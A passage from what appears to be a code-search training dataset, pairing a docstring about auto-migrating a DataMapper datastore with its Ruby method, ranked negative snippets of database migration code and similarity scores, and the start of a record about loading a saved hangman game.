"0.5737689", "0.5734708", "0.5731967", "0.5731967" ]
0.69131345
4
Auto migrates the datastore to match the model
def auto_migrate_up!(repository_name = self.repository_name) assert_valid if base_model == self repository(repository_name).create_model_storage(self) else base_model.auto_migrate_up!(repository_name) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def migrate\n DataMapper.auto_migrate!\n end", "def auto_migrate!\n DataMapper.auto_migrate!(name)\n end", "def auto_migrate!\n AutoMigrator.auto_migrate(name)\n end", "def auto_migrate!\n AutoMigrator.auto_migrate(name)\n end", "def migrate(_key, _options); end", "def migrate!\n Migrator.migrate(name)\n end", "def migrate!\n Migrator.migrate(name)\n end", "def auto_upgrade!\n AutoMigrator.auto_upgrade(name)\n end", "def auto_upgrade!\n AutoMigrator.auto_upgrade(name)\n end", "def migrate\n raise NotImplementedError\n end", "def auto_upgrade!\n DataMapper.auto_upgrade!(name)\n end", "def migrate(key, options); end", "def migrate_model(pg_model, mongo_model, transform = nil)\n attributes = pg_model.attribute_names\n ActiveRecord::Base.transaction do\n mongo_model.collection.find.batch_size(100).each do |obj|\n pg_attrs = obj.slice(*attributes)\n\n # If a model specific transform is required, do it here\n pg_attrs = transform.call(pg_attrs) if transform.present?\n\n pg_model.create! pg_attrs\n end\n\n if pg_model.count != mongo_model.count\n raise \"PG and Mongo counts are in disagreement; aborting\"\n end\n end\n\n puts \"#{pg_model.count} migrated to pg\"\nend", "def migrate! record\n if Swift::Associations::BelongsTo.get_association_index(record).empty?\n migrate_record(record)\n else\n migrate_associations(record)\n end\n end", "def migration\n end", "def migrate(klass)\n # Validate\n raise \"Unable to perform migrations, class must be specified!\" unless klass.class == Class\n raise \"Unable to perform migrations for core class!\" if CORE.include?(klass)\n raise \"Class cannot be migrated!\" unless klass.respond_to?(:auto_migrate!)\n # Execute auto migrations for now\n klass.auto_migrate!\n end", "def migrate\n db.create_table? table_name do\n primary_key :id\n String :ptype\n String :v0\n String :v1\n String :v2\n String :v3\n String :v4\n String :v5\n end\n end", "def migrate!(opts)\n raise NotSupportedError, \"Unable to migrate using `#{self}`\"\n end", "def migrate_entities\n\n entity_keys = @source_redis.keys('entity:*')\n\n entity_keys.each do |entity_key|\n\n # TODO fix regex, check current code\n raise \"Bad regex for '#{entity_key}'\" unless entity_key =~ /\\Aentity:(#{ID_PATTERN_FRAGMENT})\\z/\n\n entity_id = $1\n\n entity_name = @source_redis.hget(entity_key, 'name')\n\n entity = Flapjack::Data::Entity.new(:id => entity_id, :name => entity_name)\n entity.save\n raise entity.errors.full_messages.join(\", \") unless entity.persisted?\n end\n\nend", "def auto_migrate!(repository_name = self.repository_name)\n assert_valid\n auto_migrate_down!(repository_name)\n auto_migrate_up!(repository_name)\n end", "def apply\n migration.up\n end", "def migrate!\n @logger.fine('Dropping schema...')\n\n migrate(0) # migrate to version 0.\n migrate # migrate to latest version.\n end", "def upgrade_model_storage(repository, model)\n add_sequences(repository, model)\n super\n end", "def upgrade_model_storage(model)\n model = Persevere.enhance(model)\n name = self.name\n properties = model.properties_with_subclasses(name)\n \n DataMapper.logger.debug(\"Upgrading #{model.name}\")\n \n if success = create_model_storage(model)\n return properties\n end\n \n new_schema_hash = model.to_json_schema_hash()\n current_schema_hash = get_schema(new_schema_hash['id'])[0]\n # TODO: Diff of what is there and what will be added.\n\n new_properties = properties.map do |property|\n prop_name = property.name.to_s\n prop_type = property.type\n next if prop_name == 'id' || \n (current_schema_hash['properties'].has_key?(prop_name) && \n new_schema_hash['properties'][prop_name]['type'] == current_schema_hash['properties'][prop_name]['type'] )\n property\n end.compact\n \n return new_properties unless update_schema(new_schema_hash) == false\n return nil\n end", "def migrate(data)\n keys = I18n::Translate.hash_to_keys(data, @translate.options[:separator])\n keys.each do |key|\n entry = I18n::Translate.find(key, data, @translate.options[:separator])\n next unless I18n::Translate.is_enhanced?(entry)\n %w(old t).each do |prop|\n next unless entry[prop]\n value = entry.delete(prop)\n prop = case(prop)\n when \"old\"\n \"old_default\"\n when \"t\"\n \"translation\"\n end\n entry[prop] = value\n end\n I18n::Translate.set(key, entry, data, @translate.options[:separator])\n end\n data\n end", "def auto_upgrade!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).upgrade_model_storage(self)\n else\n base_model.auto_upgrade!(repository_name)\n end\n end", "def migratevm_datastore\n begin\n vm.storage.perDatastoreUsage[0].datastore.name\n rescue Exception => e\n fail e.message\n end\n\n end", "def auto_migrate_down!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).destroy_model_storage(self)\n else\n base_model.auto_migrate_down!(repository_name)\n end\n end", "def dbmigrate!\n ActiveRecord::Base.establish_connection(PuppetHerald.database.spec)\n ActiveRecord::Migrator.up 'db/migrate'\n ActiveRecord::Base.clear_active_connections!\n nil\n end", "def persist\n model.update persistance_data\n end", "def migrate\n run_migrations pending_migrations, :up\n end", "def auto_migrate_with(value = :not_specified)\n return @auto_migrate_with if value == :not_specified\n value = nil if value == :drop_and_create\n raise ArgumentError unless [nil, :truncate, :delete].include?(value)\n @auto_migrate_with = value\n end", "def upgrade_model_storage(repository, model)\n raise NotImplementedError\n end", "def migrate(dst, *options)\n self.instances.each { |instance| instance.migrate(dst, *options) }\n end", "def auto_migrate!(repository_name = nil)\n auto_migrate_down!(repository_name)\n auto_migrate_up!(repository_name)\n end", "def migrate!\n connect! unless connected?\n Sequel.extension :migration\n Sequel::Migrator.run(db, File.join(__dir__, \"../../db/migrations\"), table: schema_table)\n end", "def run\n # Ensure this is never run with a dirty in-memory shard cache\n ::Switchman::Shard.clear_cache\n migrate_strands\n migrate_everything\n end", "def migrate_current_entities_and_checks\n\n current_entity_names = @source_redis.zrange('current_entities', 0, -1)\n\n current_entity_names.each do |entity_name|\n entity = find_entity(:name => entity_name)\n entity.enabled = true\n entity.save\n end\n\n current_checks_keys = @source_redis.keys('current_checks:*')\n\n current_checks_keys.each do |current_checks_key|\n\n raise \"Bad regex\" unless current_checks_key =~ /\\Acurrent_checks:(#{ENTITY_PATTERN_FRAGMENT})\\z/\n\n entity_name = $1\n\n check_names = @source_redis.zrange(current_checks_key, 0, -1)\n\n check_names.each do |check_name|\n check = find_or_create_check(entity_name, check_name)\n check.enabled = true\n check.save\n end\n\n end\n\nend", "def migrate\n migrations_path = File.join(File.dirname(__FILE__), \"#{backend_name}/migrations\")\n Sequel.extension :migration\n unless Sequel::Migrator.is_current?(@db, migrations_path)\n store = self; log = @log; @db.instance_eval { @log = log; @store = store }\n Sequel::Migrator.run(@db, migrations_path)\n unless (v = @db[:schema_info].first) && v[:magic] && v[:backend]\n @db[:schema_info].update(\n magic: Bitcoin.network[:magic_head].hth, backend: backend_name)\n end\n end\n end", "def migrate\n migrations_path = File.join(File.dirname(__FILE__), \"#{backend_name}/migrations\")\n Sequel.extension :migration\n unless Sequel::Migrator.is_current?(@db, migrations_path)\n store = self; log = @log; @db.instance_eval { @log = log; @store = store }\n Sequel::Migrator.run(@db, migrations_path)\n unless (v = @db[:schema_info].first) && v[:magic] && v[:backend]\n @db[:schema_info].update(\n magic: Bitcoin.network[:magic_head].hth, backend: backend_name)\n end\n end\n end", "def migrate(db = nil, &block)\n db ||= database\n doc = load_from_database(db)\n cleanup = nil\n id = self['_id']\n\n if !doc\n # no need to migrate, just save it\n new_doc = to_hash.dup\n db.save_doc(new_doc)\n\n result = :created\n elsif doc['couchrest-hash'] != checksum\n id += \"_migration\"\n\n # Delete current migration if there is one\n delete_migration(db, nil, id)\n\n # Save new design doc\n new_doc = doc.merge(to_hash)\n new_doc['_id'] = id\n new_doc.delete('_rev')\n db.save_doc(new_doc)\n\n # Proc definition to copy the migration doc over the original\n cleanup = Proc.new do\n db.copy_doc(new_doc, doc)\n\n delete_migration(db, new_doc)\n self\n end\n\n result = :migrated\n else\n # Already up to date\n result = :no_change\n end\n\n send_view_query(new_doc, id, db)\n\n # Provide the result in block\n yield result if block_given?\n\n cleanup\n end", "def upgrade_model_storage(repository, model)\n raise NotImplementedError\n end", "def migrate_data!\n return false if !self.data\n\n js = JSON.parse(self.data)\n return false if !js\n\n self.name = js.delete(\"Name\")\n self.notes = js.delete(\"Notes\")\n self.fields = js.delete(\"Fields\")\n\n if self.type == TYPE_LOGIN\n js[\"Uris\"] = [\n { \"Uri\" => js[\"Uri\"], \"Match\" => nil },\n ]\n js.delete(\"Uri\")\n end\n\n # move the remaining fields into the new dedicated field based on the type\n fmap = {\n TYPE_LOGIN => \"login\",\n TYPE_NOTE => \"securenote\",\n TYPE_CARD => \"card\",\n TYPE_IDENTITY => \"identity\",\n }\n self.send(\"#{fmap[self.type]}=\", js)\n\n self.save || raise(\"failed migrating #{self.inspect}\")\n true\n end", "def migrate\n ActiveRecord::Migrator.migrate(File.join(db_dir, \"migrate\"))\n end", "def sync\n object.save\n end", "def recreate_from(obj)\n keys = self.key_column_names\n args = {}\n if obj.respond_to?(:enterprise_id) and obj.respond_to?(:uid)\n args[keys.delete(:enterprise_id)] = obj.enterprise_id\n if keys.length == 1\n args[keys.first] = obj.uid\n self.get_cached(args)\n else\n puts keys.to_a.to_s\n raise NotImplementedError, 'See octocore/models.rb'\n end\n end\n end", "def migrate_from(old_instance)\n @x = old_instance.instance_variable_get :@x\n @y = @x * 3\n @migrated = true\n end", "def normalize!\n normalize\n save\n end", "def normalize!\n normalize\n save\n end", "def setup_database\n Hanami::Model.load!\n end", "def migrate_instances(old_class, new_class)\n instances = Maglev::Repository.instance.list_instances([old_class])[0]\n # TODO: What to do if the new class does not define a migrate_from?\n instances.each do |old_instance|\n new_instance = new_class.allocate\n new_instance.migrate_from old_instance\n new_instance.become old_instance\n end\n Maglev.commit_transaction\n rescue Exception => e\n m = \"Migration failed from #{old_class.name} => #{new_class.name}\"\n raise MigrationFailed.new(m, old_class, new_class, e)\n end", "def run\n load_migrations\n @migrations.each do |mig_class, version|\n mig_class.up\n # Add it to the schema_migrations table as well\n # This will fail if auto-migrations is only and always used,\n # as the schema_migrations table will not exist.\n SchemaMigration.find_or_create_by_version(version) rescue nil\n end\n end", "def migrated_up(migration)\n column_family.insert({\n data: {\n version: migration.version.to_s,\n name: migration.name,\n migrated_at: Time.now.utc,\n },\n })\n end", "def migrate_database\n RFlow.logger.debug 'Applying default migrations to config database'\n migrations_path = File.join(File.dirname(__FILE__), 'configuration', 'migrations')\n ActiveRecord::Migration.verbose = false\n ActiveRecord::Migrator.migrate migrations_path\n end", "def migrate\n with_maintenance do\n backup if backup?\n run_migration\n restart\n end\n end", "def run_active_record_migrations!\n ActiveRecord::Migration.verbose = false\n ActiveRecord::Migrator.migrate([\"test/fixtures/migrate\"])\n end", "def migrate?\n raise NotImplementedError\n end", "def convert_to(klass)\n #if !self.instance_of?(klass)\n adapted_object = self.adapt_to(klass)\n\n adapted_object.relationships.each_statement do |statement|\n if statement.predicate == \"info:fedora/fedora-system:def/model#hasModel\"\n adapted_object.remove_relationship(:has_model, statement.object)\n #puts statement.object\n end\n end\n\n adapted_object.assert_content_model\n adapted_object.save\n adapted_object\n #end\n\n end", "def run_migrate\n manage_py_execute('migrate', '--noinput') if new_resource.migrate\n end", "def migratevm_datastore=(value)\n Puppet.notice \"A Virtual Machine is being migrated from datastore '#{get_vm_ds}' to '#{value}'.\"\n begin\n ds_view = get_ds_view(value)\n raise Puppet::Error, \"Unable to find the target datastore '#{value}' because the target datastore is either invalid or does not exist.\" unless ds_view\n relocate_vm(:ds_view => ds_view)\n rescue Exception => e\n fail \"Unable to perform the Virtual Machine migration operation because of the following error:\\n #{e.message}\"\n end\n\n end", "def easy_mass_insert(model, tbl, map_func, check_counts = true)\n puts \"#{Time.now} Porting #{model.to_s}\"\n connect_to_migration_db\n obj_for_migrate = ActiveRecord::Base.connection.execute(\"select * from #{tbl} order by id asc\")\n\n # This might happen in the case of ArchivedPatient\n if obj_for_migrate.ntuples.zero?\n puts \"#{Time.now} No #{model} to port - zero found via query\"\n return {}\n end\n\n connect_to_target_db\n clean_rows = obj_for_migrate.map { |x| map_func.call x }\n\n result = model.insert_all clean_rows.reject(&:nil?)\n\n # QA\n puts \"#{Time.now} Ported #{model.count} #{model} and #{obj_for_migrate.ntuples} were in original db\"\n raise \"COUNT MISMATCH ERROR\" unless model.count == obj_for_migrate.ntuples if check_counts\n\n # Map results to new ids\n id_mapping = {}\n result.rows.each_with_index do |x, i|\n id_mapping[obj_for_migrate[i]['id'].to_i] = x[0]\n end\n\n # Spot check\n puts \"Spot check:\"\n puts \"Raw row: #{obj_for_migrate.first}\"\n puts \"Clean row: #{clean_rows[0]}\"\n puts \"Inserted record: #{model.find(id_mapping[obj_for_migrate.first['id']]).attributes}\\n\\n\"\n\n id_mapping\n end", "def rebuild_model options = {}\n ActiveRecord::Base.connection.create_table :dummies, :force => true do |table|\n table.string :in_the_clear\n table.binary :secret\n table.binary :secret_key\n table.binary :secret_iv\n table.binary :segreto\n end\n rebuild_class options\nend", "def sync\n model_ids_that_exist = []\n\n @model.all.each do |db_task|\n model_ids_that_exist << db_task.id\n \n if !event_exists_for_task(db_task) || task_has_changed(db_task)\n recreate_event_for_database_task(db_task)\n end\n end\n\n remove_deleted_database_tasks(model_ids_that_exist)\n end", "def seed_reset_all_model_column_info\r\n model_classes = ActiveRecord::Base.descendants\r\n model_classes.each do |klass|\r\n next unless klass.name.match('Thinkspace')\r\n klass.reset_column_information\r\n end\r\nend", "def persist; end", "def persist; end", "def persist; end", "def generate_model\n invoke \"active_record:model\", [name], :migration => false unless model_exists? && behavior == :invoke\n if store_in == 'active_record'\n invoke \"active_record:model\", [ACTIVE_RECORDABLE], :migration => false unless active_recordable_exists? && behavior == :invoke\n end\n end", "def migrate(opts, &block)\n opts[:target] = resolve(opts[:target])\n # Migrate the input.\n CaTissue::Migrator.new(opts).migrate_to_database(&block)\n end", "def sync\n OPENERP_MAPPING_SEED.map do |openerp_model, rails_data|\n rails_model = rails_data.camelize.constantize\n \n print_syncing(openerp_model, rails_model)\n rails_model.sync(openerp_model) \n\n end\n end", "def orm; end", "def reload!\n Aura.models.each { |m| m.send :set_columns, nil }\n end", "def down_model(record, *args)\n # set downcase=true\n args[1] = true\n t_model(record, *args)\n end", "def reconcile!\n table_reconciles = []\n Volt::RootModels.model_classes.each do |model_class|\n table_reconciles << TableReconcile.new(@adaptor, @db, model_class)\n end\n\n # Make any missing tables\n table_reconciles.each(&:ensure_table)\n\n # Make sure the migrations are up to date first.\n Volt::MigrationRunner.new(@db).run\n\n # After the migrations, reconcile tables\n table_reconciles.each(&:run)\n\n # After the initial reconcile!, we add a listener for any new models\n # created, so we can reconcile them (in specs mostly)\n reset!\n @@listener = RootModels.on('model_created') do |model_class|\n # We do a full invalidate and wait for the next db access, because the\n # model_created gets called before the class is actually fully defined.\n # (ruby inherited limitation)\n @adaptor.invalidate_reconcile!\n end\n end", "def run\n connect\n src = @source_connection\n dest = @destination_connection\n\n log \"BEGINNING MIGRATION\\n\" +\n \"-------------------\"\n\n # Iterate through table mappings\n maps.each do |table|\n log \"MIGRATING TABLE #{table.source}\"\n\n # Fetch all rows from source table\n rows = src[table.source.to_sym].all\n \n # Iterate through the records and migrate each one\n rows.each do |row|\n new_record = {}\n\n # Identify the columns we need to grab data from\n table.maps.each do |column|\n new_record.merge!(\n column.destination.to_sym => row[column.source.to_sym]\n )\n end\n\n # Insert new record to destination table\n log \" -> Inserting record into #{table.destination}\"\n dest[table.destination.to_sym].insert(new_record)\n end\n end\n\n log \"-------------------\\n\" +\n \"MIGRATION COMPLETED\"\n end", "def persist\n \n end", "def new_model(auto_migrate = true, &block)\n DB.create_table! :foo do\n primary_key :id\n column :state, :string\n end if auto_migrate\n model = Class.new(Sequel::Model(:foo)) do\n self.raise_on_save_failure = false\n def self.name; 'SequelTest::Foo'; end\n end\n model.plugin(:validation_class_methods) if model.respond_to?(:plugin)\n model.plugin(:hook_class_methods) if model.respond_to?(:plugin)\n model.class_eval(&block) if block_given?\n model\n end", "def migrate_configuration\n puts \"migrating configuration\"\n ActiveRecord::Base.connection.execute('truncate table configuration')\n Configuration.create name: 'home', data: {headlines: [], today: [], tracklists: []}\n Configuration.create name: 'home_components', data: {headlines: 5, today: 3, tracklists: 3}\n Configuration.create name: 'navigation', data: {categories: []}\n Configuration.create name: 'about', data: {hebrew: nil, english: nil}\nend", "def update_db\n ## Sequel\n drop_table\n create_table\n db.transaction do\n table.delete_sql\n install_manual\n install_updates\n end\n ## AR\n # self.transaction do\n # self.delete_all\n # self.install_manual\n # self.install_updates\n # end\n end", "def flag_for_upgrade!\n self.upgrade_needed = true\n save(:validate => false)\n end", "def generate!\n ::ActiveRecord::Base.establish_connection 'production'\n Schemaless::MigrationsGenerator.new(all_tables).invoke_all\n end", "def touch\n self.updated_at = Time.zone.now\n skip_versioning_and_timestamps\n save :validate => false\n end", "def career_migration_data\n<<RUBY\nt.string :title\n t.string :position\n t.string :location\n t.text :description\n t.text :questions\n t.boolean :status,default: true\n\nRUBY\n end", "def migrate\n puts \"Migrating your database\"\n version = `ls db/migrate | wc -l`.to_i\n ActiveRecord::Base.establish_connection(Play.config['db'])\n ActiveRecord::Migrator.migrate(\"#{File.dirname(__FILE__)}/../db/migrate/\", version)\nend", "def persisted?; end", "def persisted?; end", "def update(model)\n id, data = model.primary_key_value, model.changes_for_save\n store.update(id, data, table: table_name)\n end", "def backup\n BACKUP_MODELS.each do |obj|\n puts \"Preparing to back up #{obj}\"\n self.send(obj.to_sym)\n end \n end", "def after_update\n super\n touch_associations\n end", "def run(changes)\n changes.each do |(id, salesforce_model), accumulator|\n next unless salesforce_model == @mapping.salesforce_model\n\n database_instance = @mapping.database_record_type.find(id)\n salesforce_instance = @mapping.salesforce_record_type.find(id)\n next unless database_instance && salesforce_instance\n\n update(database_instance, accumulator) if @strategy.to_database?\n update(salesforce_instance, accumulator) if @strategy.to_salesforce?\n end\n end", "def generate!\n table_attributes = resource.table_attributes\n model_attributes = resource.model_attributes\n\n table_keys = table_attributes.keys\n model_keys = model_attributes.keys\n\n # Create table\n if table_keys.blank?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: create table\"\n return rails_migrate(\"create_#{resource.plural_name}\", model_attributes)\n end\n\n # Fields are not in database, but present in model.rb\n if(add_keys = (model_keys - table_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: add #{add_keys.to_sentence}\"\n rails_migrate(\"add_ATTRIBUTES_to_#{resource.plural_name}\", model_attributes.slice(*add_keys))\n end\n\n # Fields are in database, but no longer in our effective_resource do block\n if (remove_keys = (table_keys - model_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: remove #{remove_keys.to_sentence}\"\n rails_migrate(\"remove_ATTRIBUTES_from_#{resource.plural_name}\", table_attributes.slice(*remove_keys))\n end\n end", "def save\r\n # raise error if schema is not same between from and to.\r\n # so , create sql from record map\r\n #keys = get_schema.map{|v| v[0]}\r\n keys = @__stored_map__.keys\r\n sql = \"insert into #{self.class.table_name} (#{keys.join(',')}) values( \"\r\n\r\n keys.each_with_index do |key , index|\r\n v = @__stored_map__[key]\r\n sql << ',' if index != 0\r\n sql << (v.kind_of?(String) ? \"'#{v}'\" : v.to_s)\r\n end\r\n sql << \")\"\r\n puts sql if $DEBUG\r\n self.class.execute_sql(sql)\r\n end", "def migratevm_host_datastore\n begin\n source_host = vm.runtime.host.name\n source_datastore = vm.storage.perDatastoreUsage[0].datastore.name\n source = source_host, source_datastore\n end\n rescue Exception => e\n fail e.message\n end", "def initial_setup\n CORE.each { |c| c.auto_migrate! }\n end", "def to_new_record!\n store_before_to_new_record_values\n reset_persistence_values\n @new_record = true\n end", "def _sync\n # Reset the stash map to ensure that it's reset before the next\n # transaction is being started.\n @_stash_map = nil\n\n db_obj = {\n 'class_id' => @store.class_map.class_to_id(self.class.to_s),\n 'data' => _serialize\n }\n @store.db.put_object(db_obj, @_id)\n end", "def copy_bucket_maker_migration\n if behavior == :invoke && store_in == 'active_record' && active_recordable_exists?\n migration_template \"active_recordable_migration.rb\", \"db/migrate/create_#{ACTIVE_RECORDABLE.pluralize}\"\n end\n end", "def do_backed_up\n self.update_attributes(:needs_initial_scan => false)\n update_last_backup_times\n end", "def migrate_lazily(old_class_name, new_class_name, ruby_code)\n Maglev.abort_transaction\n\n old_class = remove_from_parent old_class_name\n\n compiler = RubyCompiler.new\n Maglev.persistent { compiler.compile ruby_code }\n new_class = get_path(new_class_name)[-1]\n raise \"Migrate: Can't find new version of #{new_class_name}\" unless new_class\n Maglev.commit_transaction # instance migration needs new txn context\n skip_methods = ['instance_variable_get', 'method_missing', 'puts']\n mclass = class << old_class; self end\n\n # Setup old class so that any method send, will trigger the\n # migration, and then resend on the new instance.\n Maglev.persistent do\n # If the instances have singleton classes, then those will still be\n # active under the current scheme....\n #\n # Don't override the class methods.???\n #\n old_class.module_eval do\n @@_target_class = new_class\n #puts \"Set #{self}'s target class to #{new_class}\"\n\n def method_missing(name, *args, &blk)\n new_instance = @@_target_class.allocate\n new_instance.migrate_from self\n new_instance.become self\n # At this point, self and new_instance have swapped identities, i.e.,\n # new_instance now points to the old instance. We want to execute\n # the method on the new instance, which is now self...\n self.send(name, *args, &blk)\n end\n end\n\n # Now we undefine all the methods we can on the class. Use\n # undef_method so we don't search superclasses. We'll need a few\n # methods during migration, so we skip a few.\n old_class.instance_methods(false).each { |m|\n unless skip_methods.include? m\n #puts \"-- #{old_class.inspect}: undef_method #{m.inspect} (#{m.to_sym})\"\n old_class.send(:undef_method, m.to_sym)\n end\n }\n # TODO: protect any methods needed by migration....\n mclass.instance_methods(true).each { |m|\n #puts \"-- #{self} undef_method (class) #{m.inspect}\"\n mclass.undef_method m.to_sym\n }\n end\n Maglev.commit_transaction\n end", "def flush_db\n [ 'active_sources', 'data_records', 'semantic_properties', 'semantic_relations', 'workflows'].reverse.each { |f| ActiveRecord::Base.connection.execute \"DELETE FROM #{f}\" }\n # Also remove the \"unsaved cache\" for the wrappers (may be important during testing)\n TaliaCore::SemanticCollectionWrapper.instance_variable_set(:'@unsaved_source_cache', {})\n end" ]
[ "0.77408165", "0.7628361", "0.69687873", "0.69687873", "0.6940014", "0.6791717", "0.67916423", "0.67908585", "0.67908585", "0.67753434", "0.6718737", "0.66184133", "0.64943", "0.63606054", "0.62686586", "0.6070153", "0.59762406", "0.59577876", "0.59354067", "0.592575", "0.59206903", "0.5910579", "0.58760536", "0.58595353", "0.5851556", "0.58475834", "0.5826599", "0.5776905", "0.5755719", "0.5726943", "0.5700795", "0.56998265", "0.567457", "0.56690115", "0.5652956", "0.5641596", "0.5638796", "0.5631097", "0.5611823", "0.5611823", "0.56028193", "0.5568566", "0.5541186", "0.55323637", "0.55097425", "0.55078495", "0.5503386", "0.5485083", "0.5485083", "0.54817176", "0.54758894", "0.54671955", "0.5466962", "0.54574645", "0.5453859", "0.5442682", "0.5425545", "0.54114234", "0.54092383", "0.54038215", "0.53901166", "0.53898996", "0.5388446", "0.5375748", "0.53686666", "0.53686666", "0.53686666", "0.5352335", "0.5346219", "0.534147", "0.5341387", "0.5337363", "0.5331303", "0.5330732", "0.5320866", "0.52895623", "0.5272937", "0.5254737", "0.5251089", "0.5249239", "0.5244205", "0.523606", "0.52324784", "0.52243876", "0.5219967", "0.5219967", "0.5211894", "0.52068794", "0.52056724", "0.5201051", "0.5193574", "0.5193395", "0.5189284", "0.5182739", "0.5181633", "0.51800585", "0.5175175", "0.51742935", "0.51732117", "0.51662004" ]
0.65423596
12
def load_game? puts "would you like to load a game?(Y/n)" choice = gets.chomp if choice == "Y" File.open(saves/ open file and load that game in" else return end end
def game_play find_word board load_game? if @confirm != 'y' game_intro end until game_end? || @incorrect_guess == 8 #p @the_word guess incorrect_guess? hang_man_figure update_board save? end if game_end? != true puts "\n" * 100 hang_man_figure update_board puts "SORRY, YOU LOST!!" puts "\n" puts "The word was....#{@the_word.upcase}!!" exit elsif game_end? == true puts "\n" * 100 hang_man_figure update_board puts "OMG!" puts "#{@the_word.upcase} is the word!" puts "YOU WIN!!! =)" puts "******!*******!*****!*******!*****!*****!" exit end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_game?\n\t\tputs \"Would you like to load a previously saved game\"\n\t\tputs \"(yes or no)\"\n\t\tanswer = gets.chomp.downcase\n\t\tif answer == \"yes\"\n\t\t\tload\n\t\telsif answer == \"no\"\n\t\t\treturn\n\t\telse\n\t\t\tputs \"I did not understand that answer, try again\"\n\t\t\tload_game?\n\t\tend\n\tend", "def load_or_new_game\n puts \"Welcome to Hangman!\"\n if File.exist?(\"savefile.txt\")\n puts \"Would you like to (1) load your saved game or (2) start a new game? Please enter 1 or 2.\"\n answer = gets.chomp\n if answer == \"1\"\n save_state = File.read(\"savefile.txt\")\n status = YAML.load(save_state)\n File.delete(\"savefile.txt\")\n else\n status = start_game\n end\n else \n status = start_game\n end\n show_board(status)\n return status\n end", "def load_prompt\n puts 'Do you want to load a saved game? (yes/no)'\n answer = gets.chomp\n if answer == 'yes'\n load_game\n else\n puts \"Enter 'save' to save the game between turns\"\n round_start\n end\n end", "def load_game\n\t\tprint \"Load game (y/n): \"\n\t\tload = gets.chomp.downcase[0]\n\t\treturn false if load == 'n'\n\t\treturn loader if load == 'y'\n\t\tload_game if (load != 'n' || load != 'y')\n\tend", "def start_game\n puts \"What would you like to do?\"\n puts \"1. Load Saved Game\"\n puts \"2. Start New Game\"\n choice = gets.chomp\n if choice == \"1\"\n find_save_file\n elsif choice == \"2\"\n initialize\n end\n end", "def start_game\n puts \"What would you like to do?\"\n puts \"1. Load Saved Game\"\n puts \"2. Start New Game\"\n choice = gets.chomp\n if choice == \"1\"\n find_save_file\n elsif choice == \"2\"\n initialize\n end\n end", "def load\n puts \"Would you like to load your previous game? (y/n)\"\n puts \"\"\n response = gets.strip.downcase\n puts \"\"\n if response == \"y\" && File.exist?(\"saves.yaml\")\n save = File.read(\"saves.yaml\")\n @computer = YAML::load(save)\n puts \"Your game has been loaded!\"\n puts \"\"\n else\n puts \"New game created!\"\n puts \"\"\n end\n end", "def prompt_user_to_load_game\n saved_games = get_saved_games\n if saved_games.empty? then return false end\n\n print \"Would you like to load a saved game? [y/N]: \"\n input = gets.chomp.downcase\n puts\n if input != \"y\" then return false end\n\n if saved_games.length == 1 then return load_game(saved_games[0]) end\n\n saved_games.each_with_index do |saved_game, index|\n saved_game_name = saved_game.gsub(/\\.save\\.yaml/, \"\")\n puts \"(#{index}) #{saved_game_name}\"\n end\n puts\n print \"Enter number: \"\n save_number = gets.chomp.to_i\n puts\n if not (0...saved_games.length).cover?(save_number)\n save_number = 0\n end\n\n puts \"Loading game #{save_number}...\"\n return load_game(saved_games[save_number])\n end", "def load_game\n puts \"Would you like to load a saved game?\"\n puts \"Enter \\\"y\\\" or \\\"n\\\":\"\n input = gets.chomp\n if input != \"\" && input[0].downcase == \"y\"\n game = YAML.load(File.read(\"hangman.yaml\"))\n @word = game[:word]\n @max_turn = game[:max_turn]\n @current_turn = game[:current_turn]\n @display_word = game[:display_word]\n @current_guess = game[:current_turn]\n end\n puts \"Game is loaded!\"\n end", "def load_game\n begin\n display_saves\n choice = gets.chomp\n raise StandardError, 'Please choose an option from the above list.' unless choice.to_i.between?(0,\n Dir.children('./saves').size - 1)\n rescue StandardError => e\n puts e.message\n retry\n end\n\n \"./saves/#{Dir.children('./saves')[choice.to_i]}\"\nend", "def load #TODO: validation\n \tputs \"What game do you want to load?\"\n \tsaved_game = gets.chomp.gsub(' ', '_')\n \tsaved_game = \"#{saved_game}.yaml\"\n \tload_game(saved_game)\n end", "def load \n \tputs \"Type 'load' to load an existing game, or press Enter to continue.\"\n \tanswer = gets.chomp.downcase\n \tif answer == 'load'\n data = YAML.load_file('store.yml')\n @turns = data.turns\n @lives = data.lives\n @wrong = data.wrong\n @right = data.right\n @word= data.word\n puts \"Loading...\"\n sleep(2)\n end\n\n end", "def load_game\n file = File.open(\"../saves/log.yml\", \"r\")\n s_log = file.read.to_i\n file.close\n if s_log == 0\n puts \"No save data.\"\n else\n puts \"Select a save file (1 to #{s_log}).\"\n s_choice = gets.chomp.to_i\n if s_choice <= s_log\n puts \"Loading save game # #{s_choice}...\"\n game_state = YAML.load(File.read(\"../saves/save_#{s_choice}.yml\"))\n game_state.play\n else\n puts \"Selected save file does not exist.\"\n end\n end\n end", "def intro\n\tputs \"1--Load File\"\n\tputs \"2--New Game\"\n\tchoice = gets.chomp.to_i\n\tcase choice \n\twhen 1\n\t\tload()\n\twhen 2\n\tputs \"Hello Quester, what is your name?\"\n\t@user_name = gets.chomp\n\tputs \"Welcome \" + @user_name.to_s \n\tputs \"You have \" + @coin.to_s + \" coins.\"\n\tend\nend", "def run\n if @load_save == true\n puts 'Would you like to play your last saved game? (Yes/No)'\n gets.chomp.downcase == 'yes' ? load_game : (puts \"\\n#{@computer} is coming up with your word.\\n\")\n chosen_word\n end\n loop do \n start_game\n checker\n win_lose\n end\nend", "def load_game\n print_saves\n begin\n read_save\n rescue IOError, SystemCallError\n puts 'File not found'\n load_game\n end\n end", "def game\n puts \"Time to play rock, paper, scissors, lizard, spock!\"\n puts \"Choose your move!\"\n get_input\n puts \"play again? (y)es (n)o\"\n choice = gets.chomp.strip.downcase\n exit unless choice.include?(\"y\")\n game\nend", "def start\n puts \"Load game or start new?\"\n puts \"Type 'load' to load a previous save, or type 'new' to start a new game.\"\n game_type = gets.chomp.downcase.strip\n if game_type == \"load\"\n load\n elsif game_type == \"new\"\n load_secret_word\n init_guess_count\n @wrong_guesses = []\n else\n start\n end\n end", "def game_option(option)\n case option.downcase\n when RULES_GAME_OPTION\n open('game_rules.txt') do |file|\n say 